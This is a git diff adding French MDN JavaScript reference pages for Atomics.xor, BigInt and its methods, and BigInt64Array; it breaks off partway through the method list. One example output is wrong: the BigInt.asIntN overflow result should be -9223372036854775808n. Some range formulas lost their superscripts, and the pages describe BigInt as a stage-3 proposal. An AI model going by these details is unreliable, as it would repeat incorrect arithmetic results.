000
011
101
110
+ +

Par exemple, le calcul d'un OU exclusif binaire entre 5 et 1 (5 ^ 1) renvoie 0100, qui correspond à 4 en notation décimale.

+ +
5  0101
+1  0001
+   ----
+4  0100
+
+ +

Exemples

+ +
var sab = new SharedArrayBuffer(1024);
+var ta = new Uint8Array(sab);
+ta[0] = 5;
+
+Atomics.xor(ta, 0, 1); // renvoie 5, l'ancienne valeur
+Atomics.load(ta, 0);   // 4
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-atomics.xor', 'Atomics.xor')}}{{Spec2('ESDraft')}}Définition initiale avec ES2017.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.Atomics.xor")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Atomics")}}
    • +
  • {{jsxref("Atomics.and()")}}
    • +
  • {{jsxref("Atomics.or()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/bigint/asintn/index.html b/files/fr/web/javascript/reference/global_objects/bigint/asintn/index.html new file mode 100644 index 0000000000..8e51d25642 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/bigint/asintn/index.html @@ -0,0 +1,76 @@ +--- +title: BigInt.asIntN() +slug: Web/JavaScript/Reference/Objets_globaux/BigInt/asIntN +tags: + - BigInt + - JavaScript + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/asIntN +--- +

{{JSRef}}

+ +

La méthode statique BigInt.asIntN() permet d'écréter un nombre BigInt pour obtenir un entier signé entre 2largeur-1 et 2largeur-1-1.

+ +
{{EmbedInteractiveExample("pages/js/bigint-asintn.html")}}
+ + + +

Syntaxe

+ +
var resultat = BigInt.asIntN(largeur, bigint);
+ +

Paramètres

+ +
+
largeur
+
La quantité de bits disponible pour stocker l'entier.
+
bigint
+
L'entier qu'on souhaite stocker sur le nombre de bits indiqués.
+
+ +

Valeur de retour

+ +

La valeur de bigint modulo 2largeur comme entier signé.

+ +

Exemples

+ +

La méthode BigInt.asIntN() peut être utile pour rester dans une arithmétique sur 64 bits :

+ +
const max = 2n ** (64n - 1n) - 1n;
+
+BigInt.asIntN(64, max);
+// ↪ 9223372036854775807n
+
+BigInt.asIntN(64, max + 1n);
+// ↪ -9223372036854775807n
+// négatif car dépassement sur le nombre de bits
+
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationÉtat
BigInt proposalProposition de niveau 3.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.BigInt.asIntN")}}

+ +

Voir aussi

+ +
    +
  • {{JSxRef("BigInt")}}
    • +
  • {{JSxRef("BigInt.asUintN()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/bigint/asuintn/index.html b/files/fr/web/javascript/reference/global_objects/bigint/asuintn/index.html new file mode 100644 index 0000000000..742792d5e6 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/bigint/asuintn/index.html @@ -0,0 +1,76 @@ +--- +title: BigInt.asUintN() +slug: Web/JavaScript/Reference/Objets_globaux/BigInt/asUintN +tags: + - BigInt + - Experimental + - JavaScript + - Méthode + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/asUintN +--- +

{{JSRef}}

+ +

La méthode statique BigInt.asUintN() permet d'écréter un BigInt pour ramener sa valeur sur un entier non-signé entre 0 et 2largeur-1.

+ +
{{EmbedInteractiveExample("pages/js/bigint-asuintn.html")}}
+ + + +

Syntaxe

+ +
var résultat = BigInt.asUintN(largeur, bigint);
+ +

Paramètres

+ +
+
largeur
+
Le nombre de bits disponible pour stocker l'entier.
+
bigint
+
L'entier qu'on souhaite stocker sur le nombre de bits indiqués.
+
+ +

Valeur de retour

+ +

La valeur de bigint modulo 2largeur comme un entier non signé.

+ +

Exemples

+ +

La méthode BigInt.asUintN() peut s'avérer utile pour rester dans une arithmétique exprimée sur 64 bits .

+ +
const max = 2n ** 64n - 1n;
+
+BigInt.asUintN(64, max);
+// ↪ 18446744073709551615n
+
+BigInt.asUintN(64, max + 1n);
+// ↪ 0n
+// zéro en raison du dépassement
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationÉtat
Proposition pour BigIntProposition de niveau 3
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.BigInt.asUintN")}}

+ +

Voir aussi

+ +
    +
  • {{JSxRef("BigInt")}}
    • +
  • {{JSxRef("BigInt.asIntN()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/bigint/index.html b/files/fr/web/javascript/reference/global_objects/bigint/index.html new file mode 100644 index 0000000000..1310b8c442 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/bigint/index.html @@ -0,0 +1,283 @@ +--- +title: BigInt +slug: Web/JavaScript/Reference/Objets_globaux/BigInt +tags: + - BigInt + - Experimental + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/BigInt +--- +
{{JSRef}}
+ +

BigInt est un objet natif qui permet de représenter des nombres entiers supérieurs à 253 (la plus grande valeur entière qui puisse être représentée par le type primitif {{jsxref("Number")}}). BigInt peut être utilisé afin de représenter de grands entiers de n'importe quelle taille.

+ +
+

Note : BigInt est actuellement une proposition de niveau 3 pour la spécification ECMAScript.

+ +

Lorsque cette proposition atteindra le niveau 4 (soit la spécification finale), BigInt sera le deuxième type natif disponible en JavaScript pour représenter des valeurs numériques.

+ +

BigInt sera ainsi le prochain type primitif ajouté à JavaScript depuis {{JSxRef("Symbol")}} avec ES2015

+
+ +

Syntaxe

+ +
BigInt(valeur);
+
+ +

Paramètres

+ +
+
valeur
+
La valeur numérique de l'objet qu'on souhaite créer. Cet argument peut être une chaîne de caractères ou un entier.
+
+ +
+

Note : BigInt() n'est pas censé être utilisé avec l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}.

+
+ +
+
+ +

Description

+ +

Un objet BigInt est créé en ajoutant un n à la fin d'un littéral d'entier — 10n par exemple — ou en appelant la fonction BigInt().

+ +
const plusGrandEntier = 9007199254740991n;
+
+const grandNombre = BigInt(9007199254740991);
+// ↪ 9007199254740991n
+
+const grandNombreEnChaîne = BigInt('9007199254740991');
+// ↪ 9007199254740991n
+
+const grandeNombreHexa = BigInt("0x1fffffffffffff");
+// ↪ 9007199254740991n
+
+const grandeNombreBinaire = BigInt("0b11111111111111111111111111111111111111111111111111111");
+// ↪ 9007199254740991n
+ +

Les objets BigInt sont semblables aux objets {{jsxref("Number")}} selon certains aspects mais avec quelques différences clés. Les objets BigInt ne peuvent pas êre utilisés avec l'objet {{jsxref("Math")}} et ne peuvent pas être manipulés avec des opérations qui impliquent des objets {{jsxref("Number")}}.

+ +
+

Attention ! Il est nécessaire de convertir des valeurs {{jsxref("Number")}} ou BigInt dans les opérations qui les combinent.

+ +

Attention lors de ces conversions car la précision d'une valeur BigInt peut être perdue lorsque ce dernier est converti en {{jsxref("Number")}}.

+
+ +

Type

+ +

Lorsqu'on utilise typeof sur une valeur BigInt, cet opérateur renverra "bigint" :

+ +
typeof 1n === "bigint"; // true
+typeof BigInt("1") === "bigint"; // true
+ +

Lorsqu'on « enveloppe » la valeur dans un objet, on aura alors un type "object" (comme pour les autres valeurs primitives lorsqu'on les enveloppe dans le constructeur objet) :

+ +
typeof Object(1n) === "object"; // true
+ +

Opérateurs

+ +

On peut utiliser les opérateurs suivants avec les objets BigInt : +, `*`, `-`, `**`, `%` , les opérateurs binaires (à l'exception de >>> / décalage à droite avec des zéros) car les grands entiers sont signés. Le + unaire n'est pas non plus pris en charge (afin de ne pas casser asm.js).

+ +
const nombreSain = BigInt(Number.MAX_SAFE_INTEGER);
+// ↪ 9007199254740991
+
+const maxPlusUn = nombreSain + 1n;
+// ↪ 9007199254740992n
+
+const leFutur = nombreSain + 2n;
+// ↪ 9007199254740993n, cela fonctionne désormais !
+
+const multi = nombreSain * 2n;
+// ↪ 18014398509481982n
+
+const subtr = multi – 10n;
+// ↪ 18014398509481972n
+
+const mod = multi % 10n;
+// ↪ 2n
+
+const bigN = 2n ** 54n;
+// ↪ 18014398509481984n
+
+bigN * -1n
+// ↪ –18014398509481984n
+
+ +

L'opérateur / fonctionne de façon analogue aux nombres classiques. Toutefois, les objets BigInt permettent uniquement de représenter des entiers et non des nombres décimaux. Aussi, la division ne produira pas de partie décimale pour les BigInt.

+ +
const attendu = 4n / 2n;
+// ↪ 2n
+
+const tronque = 5n / 2n;
+// ↪ 2n et pas 2.5n
+
+
+ +

Comparaisons

+ +

Un objet BigInt n'est pas strictement égal à {{jsxref( "Number")}} mais peut l'être au sens de l'égalité faible.

+ +
0n === 0
+// ↪ false
+
+0n == 0
+// ↪ true
+ +

On peut toutefois comparer des objets {{jsxref("Number")}} et BigInt :

+ +
1n < 2
+// ↪ true
+
+2n > 1
+// ↪ true
+
+2 > 2
+// ↪ false
+
+2n > 2
+// ↪ false
+
+2n >= 2
+// ↪ true
+ +

On peut également mélanger ces valeurs au sein de tableaux :

+ +
const mixed = [4n, 6, -12n, 10, 4, 0, 0n];
+// ↪  [4n, 6, -12n, 10, 4, 0, 0n]
+
+mixed.sort();
+// ↪ [-12n, 0, 0n, 10, 4n, 4, 6]
+ +

On notera que les comparaisons entre les valeurs BigInt et les mêmes valeurs, passées dans le constructeur Object() ne seront pas équivalentes au sens strict :

+ +
0n === Object(0n); // false
+Object(0n) === Object(0n); // false
+
+const o = Object(0n);
+o === o; // true
+ +

Opérations conditionnelles

+ +

Un objet BigInt se comporte comme un objet {{jsxref("Number")}} lorsqu'il est utilisé dans un contexte booléen : comme argument pour le constructeur {{jsxref("Boolean")}}, comme opérandes pour les opérateurs logiques ||, `&&` et ! ou avec les instructions conditonnelles telles que if.

+ +
if (0n) {
+  console.log('Nous voici dans le if !');
+} else {
+  console.log('Et nous voilà dans le else !');
+}
+
+// ↪ "Et nous voilà dans le else !"
+
+0n || 12n
+// ↪ 12n
+
+0n && 12n
+// ↪ 0n
+
+Boolean(0n)
+// ↪ false
+
+Boolean(12n)
+// ↪ true
+
+!12n
+// ↪ false
+
+!0n
+// ↪ true
+
+ +

Méthodes

+ +
+
BigInt.asIntN()
+
Écrète un objet BigInt pour obtenir un entier signé entre -2largeur-1 et 2largeur-1-1
+
BigInt.asUintN()
+
Écrète un objet BigInt pour obtenir un entier non-signé entre 0 et 2largeur-1
+
+ +

Propriétés

+ +
+
{{jsxref("BigInt.prototype")}}
+
Cette propriété permet d'ajouter des propriétés aux objets BigInt.
+
+ +

Instances de BigInt

+ +

L'ensemble des instances de BigInt héritent de BigInt.prototype. Le prototype du constructeur BigInt peut être modifié afin de modifier l'ensemble des instances de BigInt.

+ +

Méthodes

+ +

{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/BigInt/prototype', 'Méthodes')}}

+ +

Recommandations

+ +

Coercition en Number

+ +

Lorsqu'on convertit une valeur BigInt en {{jsxref("Objets_globaux/Number","Number")}}, on perd en précision. Si on effectue des allers-retours entre ces deux types, on ne conservera pas la même valeur. Aussi, il est recommandé d'utiliser uniquement BigInt lorsque les valeurs qu'on manipule seront supérieures à 253 et qu'il ne sera pas nécessaire de passer d'un type à l'autre.

+ +

Cryptographie

+ +

Les opérations prises en charge pour les valeurs BigInt ne s'effectuent pas à temps constant. Aussi, BigInt ne serait être utilisé à des fins cryptographiques.

+ +

Exemples

+ +

Calculer des nombres premiers

+ +
function isPrime(p) {
+  for (let i = 2n; i * i <= p; i++) {
+    if (p % i === 0n) return false;
+  }
+  return true;
+}
+
+// Takes a BigInt as an argument and returns a BigInt
+function nthPrime(nth) {
+  let maybePrime = 2n;
+  let prime = 0n;
+
+  while (nth >= 0n) {
+    if (isPrime(maybePrime)) {
+      nth -= 1n;
+      prime = maybePrime;
+    }
+    maybePrime += 1n;
+  }
+
+  return prime;
+}
+
+nthPrime(20n)
+// ↪ 73n
+ +

Spécifications

+ + + + + + + + + + + + + + +
SpécificationÉtat
BigIntBrouillon de niveau 3
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.BigInt")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Number")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/bigint/tolocalestring/index.html b/files/fr/web/javascript/reference/global_objects/bigint/tolocalestring/index.html new file mode 100644 index 0000000000..652cd723aa --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/bigint/tolocalestring/index.html @@ -0,0 +1,132 @@ +--- +title: BigInt.prototype.toLocaleString() +slug: Web/JavaScript/Reference/Objets_globaux/BigInt/toLocaleString +tags: + - BigInt + - Internationalisation + - Intl + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/toLocaleString +--- +
{{JSRef}}
+ +

La méthode toLocaleString() renvoie une chaîne de caractères représentant le grand entier pour la ou les locale(s) indiquée(s).

+ +
{{EmbedInteractiveExample("pages/js/bigint-tolocalestring.html")}}
+ + + +

Syntaxe

+ +
bigIntObj.toLocaleString([locales [, options]])
+ +

Paramètres

+ +
+
locales {{optional_inline}}
+
Une chaine de caractères avec un identifiant de langue BCP 47, ou un tableau de ce type de chaine de caractères. Pour le format général et l'interprétation de l'argument locales. Pour plus de détails quant à la forme et l'interprétation de l'argument locales, on consultera la page {{jsxref("Intl")}}.
+
options {{optional_inline}}
+
Un objet qui contient des propriétés de configuration. Pour les nombres, consulter {{jsxref("Number.prototype.toLocaleString()")}}, pour les dates, consulter {{jsxref("Date.prototype.toLocaleString()")}}.
+
+ +

Valeur de retour

+ +

Une chaîne de caractères qui représente le grand entier selon la ou les locales et les options indiquées.

+ +

Exemples

+ +

Utiliser toLocaleString()

+ +

Voici un exemple d'utilisation simple, sans indiquer de locale ni d'options.

+ +
var bigint = 3500n;
+
+bigint.toLocaleString();
+// Affichera "3500" en français
+
+ +

Utiliser locales

+ +

Cet exemple illustre certaines variations pour la représentation d'une même valeur en fonction des différentes locales. En fonction de la langue utilisée par l'utilisateur et par votre interface, vous pourrez utiliser locales pour indiquer la locale ciblée :

+ +
var bigint = 123456789123456789n;
+
+// En allemand, on utilise les points pour séparer
+// les milliers
+console.log(bigint.toLocaleString('de-DE'));
+// → 123.456.789.123.456.789
+
+// La plupart des pays arabes utilise
+// des chiffres hindoux-arabes
+console.log(bigint.toLocaleString('ar-EG'));
+// → ١٢٣٬٤٥٦٬٧٨٩٬١٢٣٬٤٥٦٬٧٨٩
+
+// India utilise des séparateurs pour
+// les milliers/lakh/crore
+console.log(bigint.toLocaleString('en-IN'));
+// → 1,23,45,67,89,12,34,56,789
+
+// La clé d'extension requiert un système de numérotation
+// par exemple, le système décimal chinois
+console.log(bigint.toLocaleString('zh-Hans-CN-u-nu-hanidec'));
+// → 一二三,四五六,七八九,一二三,四五六,七八九
+
+// Lorsqu'on demande une langue qui peut ne pas être prise
+// en charge (ici le balinais), on peut ajouter une autre
+// locale qui sera utilisée en recours (ici l'indonésien)
+console.log(bigint.toLocaleString(['ban', 'id']));
+// → 123.456.789.123.456.789
+
+ +

Utiliser options

+ +

Ici, on personnalise le résultat fourni par toLocaleString() grâce à l'argument options :

+ +
var bigint = 123456789123456789n;
+
+// On utilise un format avec une devise
+console.log(bigint.toLocaleString('de-DE', { style: 'currency', currency: 'EUR' }));
+// → 123.456.789.123.456.789,00 €
+
+// Le yen japonais n'utilise pas de sous-unité
+console.log(bigint.toLocaleString('ja-JP', { style: 'currency', currency: 'JPY' }))
+// → ￥123,456,789,123,456,789
+
+// On limite l'écriture aux trois premiers chiffres significatifs
+console.log(bigint.toLocaleString('en-IN', { maximumSignificantDigits: 3 }));
+// → 1,23,00,00,00,00,00,00,000
+
+ +

Performance

+ +

Lorsqu'on souhaite mettre en forme une grande quantité de nombres, mieux vaudra créer un objet {{jsxref("NumberFormat")}} et utiliser la fonction fournie par sa propriété {{jsxref("NumberFormat.format")}}.

+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationÉtat
BigIntProposition de niveau 3.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.BigInt.toLocaleString")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("BigInt.toString()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/bigint/tostring/index.html b/files/fr/web/javascript/reference/global_objects/bigint/tostring/index.html new file mode 100644 index 0000000000..9718891da1 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/bigint/tostring/index.html @@ -0,0 +1,97 @@ +--- +title: BigInt.prototype.toString() +slug: Web/JavaScript/Reference/Objets_globaux/BigInt/toString +tags: + - BigInt + - JavaScript + - Méthode + - Prototype + - Reference +translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/toString +--- +
{{JSRef}}
+ +

The toString() method returns a string representing the specified {{jsxref("BigInt")}} object. The trailing "n" is not part of the string.

+ +
{{EmbedInteractiveExample("pages/js/bigint-tostring.html")}}
+ + + +

Syntaxe

+ +
bigIntObj.toString([base])
+ +

Paramètres

+ +
+
base{{optional_inline}}
+
Ce paramètre optionnel est compris entre 2 et 36 et indique la base à utiliser pour représenter les valeurs numériques.
+
+ +

Valeur de retour

+ +

Une chaîne de caractères représentant l'objet {{jsxref("BigInt")}} courant.

+ +

Exceptions

+ +
+
{{jsxref("RangeError")}}
+
Si la base fournie comme argument toString() est inférieure à 2 ou supérieure à 36, cela déclenchera une exception {{jsxref("RangeError")}}.
+
+ +

Description

+ +

L'objet {{jsxref("BigInt")}} surcharge la méthode toString() de {{jsxref("Object")}}. Il n'hérite pas ou n'utilise pas {{jsxref("Object.prototype.toString()")}}. Pour les objets {{jsxref( "BigInt")}}, la méthode toString() renvoie une représentation textuelle de l'objet dans la base indiquée.

+ +

La méthode toString() analyse le premier argument qui lui est passé et tente de renvoyer une représentation textuelle dans cette base. Pour les bases supérieures à 10, ce seront les lettres de l'alphabet pour indiquer les chiffres supérieurs à 9. Pour les nombres hexadécimaux (base 16), les lettres a à f sont utilisées par exemple.

+ +

Si l'argument base n'est pas indiquée, ce sera la base 10 qui sera considérée par défaut.

+ +

Si bigIntObj est négatif, le signe est conservé, y compris lorsque la base est 2 (dans ce cas, la chaîne renvoyée sera la représentation binaire précédée par un signe - et non le complément à deux de bigIntObj).

+ +

Exemples

+ +

Utiliser toString()

+ +
17n.toString();      // '17'
+66n.toString(2);     // '1000010'
+254n.toString(16);   // 'fe'
+-10n.toString(2);    // -1010'
+-0xffn.toString(2);  // '-11111111'
+
+ +

Gestion du zéro négatif en BigInt

+ +

Il n'existe pas de zéro négatif pour BigInt car les entiers ne gèrent pas de concept de zéro négatif. -0.0 est un concept relatif à la représentation flottante IEEE et n'est présent que pour le type {{jsxref("Number")}}.

+ +
(-0n).toString();      // '0'
+BigInt(-0).toString(); // '0'
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationÉtat
Proposition pour BigIntProposition de niveau 3
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.BigInt.toString")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("BigInt.prototype.toLocaleString()")}}
    • +
  • {{jsxref("BigInt.prototype.valueOf()")}}
    • +
  • {{jsxref("Number.prototype.toString()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/bigint/valueof/index.html b/files/fr/web/javascript/reference/global_objects/bigint/valueof/index.html new file mode 100644 index 0000000000..924a9ce5e2 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/bigint/valueof/index.html @@ -0,0 +1,62 @@ +--- +title: BigInt.prototype.valueOf() +slug: Web/JavaScript/Reference/Objets_globaux/BigInt/valueOf +tags: + - BigInt + - JavaScript + - Method + - Prototype + - Reference + - valueOf() +translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/valueOf +--- +
{{JSRef}}
+ +

La méthode valueOf() renvoie la valeur primitive encapsulée dans un objet {{jsxref("BigInt")}}.

+ +
{{EmbedInteractiveExample("pages/js/bigint-valueof.html")}}
+ + + +

Syntaxe

+ +
bigIntObj.valueOf()
+ +

Valeur de retour

+ +

Un grand entier (big int) représentant la valeur primitive de l'objet {{jsxref("BigInt")}} courant.

+ +

Exemples

+ +

Utiliser valueOf()

+ +
typeof Object(1n); // object
+typeof Object(1n).valueOf(); // bigint
+
+ +

Spécifications

+ + + + + + + + + + + + +
SpécificationÉtat
Proposition pour BigIntProposition de niveau 3
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.builtins.BigInt.valueOf")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("BigInt.prototype.toString()")}}
    • +
diff --git a/files/fr/web/javascript/reference/global_objects/bigint64array/index.html b/files/fr/web/javascript/reference/global_objects/bigint64array/index.html new file mode 100644 index 0000000000..0d9d92e605 --- /dev/null +++ b/files/fr/web/javascript/reference/global_objects/bigint64array/index.html @@ -0,0 +1,184 @@ +--- +title: BigInt64Array +slug: Web/JavaScript/Reference/Objets_globaux/BigInt64Array +tags: + - BigInt + - Constructeur + - JavaScript + - Reference + - TypedArray + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/BigInt64Array +--- +
{{JSRef}}
+ +

Le tableau typé BigInt64Array permet de représenter un tableau d'entiers signés représentés sur 64 bits, où l'ordre des octets correspond à celui de la plateforme utilisée. Si on souhaite contrôler l'ordre des octets utilisé (le « boutisme »), on utilisera un objet {{jsxref("DataView")}} à la place. Les éléments du tableau sont initialisés à 0n. Une fois que le tableau est construit, on peut manipuler ses différents éléments grâce aux méthodes de l'objet ou grâce à la notation usuelle (avec les crochets).

+ +

Syntaxe

+ +
new BigInt64Array();
+new BigInt64Array(longueur);
+new BigInt64Array(tableauTypé);
+new BigInt64Array(objet);
+new BigInt64Array(tampon [, décalage [, longueur]]);
+ +

Pour plus d'informations sur la syntaxe du constructeur et le rôle des différents paramètres, voir la page TypedArray.

+ +

Propriétés

+ +
+
{{jsxref("TypedArray.BYTES_PER_ELEMENT", "BigInt64Array.BYTES_PER_ELEMENT")}}
+
Cette propriété renvoie un nombre correspondant à la quantité d'octets pour un élément du tableau. Dans le cas d'BigInt64Array, ce sera 8.
+
BigInt64Array.length
+
La propriété de longueur statique qui vaut 3. Pour connaître le nombre d'élément, voir {{jsxref("TypedArray.prototype.length", "BigInt64Array.prototype.length")}}.
+
{{jsxref("TypedArray.name", "BigInt64Array.name")}}
+
Cette propriété renvoie la chaîne de caractères correspondant au nom du constructeur. Pour BigInt64Array ce sera : "BigInt64Array".
+
{{jsxref("TypedArray.prototype", "BigInt64Array.prototype")}}
+
Le prototype des objets TypedArray.
+
+ +

Méthodes

+ +
+
{{jsxref("TypedArray.from", "BigInt64Array.from()")}}
+
Cette méthode permet de créer un nouveau tableau typé BigInt64Array à partir d'un itérable ou d'un objet semblable à un tableau. Voir aussi {{jsxref("Array.from()")}}.
+
{{jsxref("TypedArray.of", "BigInt64Array.of()")}}
+
Cette méthode permet de créer un nouvel objet BigInt64Array à partir d'un nombre d'arguments variables. Voir aussi {{jsxref("Array.of()")}}.
+
+ +

Prototype BigInt64Array

+ +

Tous les objets BigInt64Array héritent de {{jsxref("TypedArray.prototype", "%TypedArray%.prototype")}}.

+ +

Propriétés

+ +
+
BigInt64Array.prototype.constructor
+
Cette propriété renvoie la fonction qui a créé l'instance du prototype. Par défaut, ce sera le constructeur BigInt64Array.
+
{{jsxref("TypedArray.prototype.buffer", "BigInt64Array.prototype.buffer")}} {{readonlyInline}}
+
Cette propriété renvoie l'objet {{jsxref("ArrayBuffer")}} référencé par l'objet BigInt64Array Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
+
{{jsxref("TypedArray.prototype.byteLength", "BigInt64Array.prototype.byteLength")}} {{readonlyInline}}
+
Cette propriété renvoie la longueur, exprimée en octets, de l'objet BigInt64Array à partir du début de l'objet {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
+
{{jsxref("TypedArray.prototype.byteOffset", "BigInt64Array.prototype.byteOffset")}} {{readonlyInline}}
+
Cette propriété renvoie le décalage, en nombre d'octets, entre le début du tableau typé courant et du début du {{jsxref("ArrayBuffer")}} correspondant. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
+
{{jsxref("TypedArray.prototype.length", "BigInt64Array.prototype.length")}} {{readonlyInline}}
+
Cette propriété renvoie le nombre d'éléments contenus dans le tableau BigInt64Array. Elle est déterminée lors de la construction et est accessible uniquement en lecture seule.
+
+ +

Méthodes

+ +
+
{{jsxref("TypedArray.copyWithin", "BigInt64Array.prototype.copyWithin()")}}
+
Copie une suite d'éléments d'un tableau dans le tableau. Voir également {{jsxref("Array.prototype.copyWithin()")}}.
+
{{jsxref("TypedArray.entries", "BigInt64Array.prototype.entries()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les paires clé/valeur pour chaque indice du tableau. Voir également {{jsxref("Array.prototype.entries()")}}.
+
{{jsxref("TypedArray.every", "BigInt64Array.prototype.every()")}}
+
Teste si l'ensemble des éléments du tableau remplissent une certaine condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.every()")}}.
+
{{jsxref("TypedArray.fill", "BigInt64Array.prototype.fill()")}}
+
Remplit les éléments d'un tableau avec une certaine valeur pour les éléments compris entre un indice de début et un indice de fin. Voir également {{jsxref("Array.prototype.fill()")}}.
+
{{jsxref("TypedArray.filter", "BigInt64Array.prototype.filter()")}}
+
Crée un nouveau tableau dont tous les éléments proviennent de ce tableau et respectent une condition fournie par une fonction de test. Voir également {{jsxref("Array.prototype.filter()")}}.
+
{{jsxref("TypedArray.find", "BigInt64Array.prototype.find()")}}
+
Renvoie une valeur trouvée dans le tableau s'il existe un élément du tableau qui satisfait une condition fournie par une fonction de test, s'il n'y a pas de tel élément undefined sera renvoyé. Voir également {{jsxref("Array.prototype.find()")}}.
+
{{jsxref("TypedArray.findIndex", "BigInt64Array.prototype.findIndex()")}}
+
Renvoie l'indice d'un élément qui satisfait une condition fournie par une fonction de test, si aucun élément ne remplit la condition -1 sera renvoyé. Voir également {{jsxref("Array.prototype.findIndex()")}}.
+
{{jsxref("TypedArray.forEach", "BigInt64Array.prototype.forEach()")}}
+
Appelle une fonction pour chacun des élément du tableau. Voir également {{jsxref("Array.prototype.forEach()")}}.
+
{{jsxref("TypedArray.includes", "BigInt64Array.prototype.includes()")}}
+
Détermine si le tableau typé contient un élément donné. Cette méthode renvoie true ou false selon le cas de figure. Voir également {{jsxref("Array.prototype.includes()")}}.
+
{{jsxref("TypedArray.indexOf", "BigInt64Array.prototype.indexOf()")}}
+
Renvoie le premier indice (le plus petit) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.indexOf()")}}.
+
{{jsxref("TypedArray.join", "BigInt64Array.prototype.join()")}}
+
Fusionne l'ensemble des éléments du tableau en une chaîne de caractères. Voir également {{jsxref("Array.prototype.join()")}}.
+
{{jsxref("TypedArray.keys", "BigInt64Array.prototype.keys()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les clés de chaque indice du tableau. Voir également {{jsxref("Array.prototype.keys()")}}.
+
{{jsxref("TypedArray.lastIndexOf", "BigInt64Array.prototype.lastIndexOf()")}}
+
Renvoie le dernier indice (le plus élevé) d'un élément du tableau qui est égal à la valeur fournie. Si aucun élément ne correspond, la valeur -1 sera renvoyée. Voir également {{jsxref("Array.prototype.lastIndexOf()")}}.
+
{{jsxref("TypedArray.map", "BigInt64Array.prototype.map()")}}
+
Crée un nouveau tableau dont les éléments sont les images des éléments du tableau courant par une fonction donnée. Voir également {{jsxref("Array.prototype.map()")}}.
+
{{jsxref("TypedArray.reduce", "BigInt64Array.prototype.reduce()")}}
+
Applique une fonction sur un accumulateur et chaque élément du tableau (de gauche à droite) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduce()")}}.
+
{{jsxref("TypedArray.reduceRight", "BigInt64Array.prototype.reduceRight()")}}
+
Applique une fonction sur un accumulateur et chaque élément du tableau (de droite à gauche) afin de réduire le tableau en une seule valeur. Voir également {{jsxref("Array.prototype.reduceRight()")}}.
+
{{jsxref("TypedArray.reverse", "BigInt64Array.prototype.reverse()")}}
+
Inverse l'ordre des éléments d'un tableau. Le premier élément du tableau devient le dernier et le dernier devient le premier (et ainsi de suite). Voir également {{jsxref("Array.prototype.reverse()")}}.
+
{{jsxref("TypedArray.set", "BigInt64Array.prototype.set()")}}
+
Enregistre plusieurs valeurs dans le tableau typé à partir de valeurs d'un autre tableau.
+
{{jsxref("TypedArray.slice", "BigInt64Array.prototype.slice()")}}
+
Extrait un fragment d'un tableau et renvoie ce fragment. Voir également {{jsxref("Array.prototype.slice()")}}.
+
{{jsxref("TypedArray.some", "BigInt64Array.prototype.some()")}}
+
Renvoie true si au moins un des éléments remplit une condition donnée par une fonction de test. Voir également {{jsxref("Array.prototype.some()")}}.
+
{{jsxref("TypedArray.sort", "BigInt64Array.prototype.sort()")}}
+
Trie les éléments du tableau et renvoie ce tableau. Voir également {{jsxref("Array.prototype.sort()")}}.
+
{{jsxref("TypedArray.subarray", "BigInt64Array.prototype.subarray()")}}
+
Renvoie un nouvel objet BigInt64Array qui est le fragment du tableau courant, entre les indices de début et de fin donnés.
+
{{jsxref("TypedArray.values", "BigInt64Array.prototype.values()")}}
+
Renvoie un nouvel objet Array Iterator qui contient les valeurs correspondantes à chaque indice du tableau. Voir également {{jsxref("Array.prototype.values()")}}.
+
{{jsxref("TypedArray.toLocaleString", "BigInt64Array.prototype.toLocaleString()")}}
+
Renvoie une chaîne de caractères localisée qui représente le tableau et ses éléments. Voir également {{jsxref("Array.prototype.toLocaleString()")}}.
+
{{jsxref("TypedArray.toString", "BigInt64Array.prototype.toString()")}}
+
